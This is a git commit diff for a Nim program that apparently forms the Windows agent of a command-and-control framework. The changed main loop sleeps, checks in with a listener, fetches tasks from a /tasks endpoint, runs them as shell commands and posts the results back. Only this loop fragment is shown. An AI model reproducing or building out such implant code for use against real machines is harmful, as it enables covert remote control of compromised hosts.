Implemented basic shell command execution and result retrieval. Next Step: Remove completed tasks from queue

This commit is contained in:
Jakob Friedl
2025-05-22 20:03:22 +02:00
parent 71336a6fa7
commit 1b147aacd6
17 changed files with 187 additions and 39 deletions

View File

@@ -1,7 +1,7 @@
import strformat, os, times
import winim
import ./[types, http]
import ./[types, http, task]
import commands/shell
proc main() =
@@ -19,7 +19,7 @@ proc main() =
echo fmt"[+] [{agent}] Agent registered."
#[
Infinite Routine:
Agent routine:
1. Sleep Obfuscation
2. Retrieve task from /tasks endpoint
3. Execute task and post result to /results
@@ -31,10 +31,14 @@ proc main() =
sleep(10 * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking for tasks..."
echo fmt"[{date}] Checking in."
discard getTasks(listener, agent)
let tasks: seq[Task] = getTasks(listener, agent)
for task in tasks:
let result = task.handleTask()
discard postResults(listener, agent, result)
when isMainModule:
main()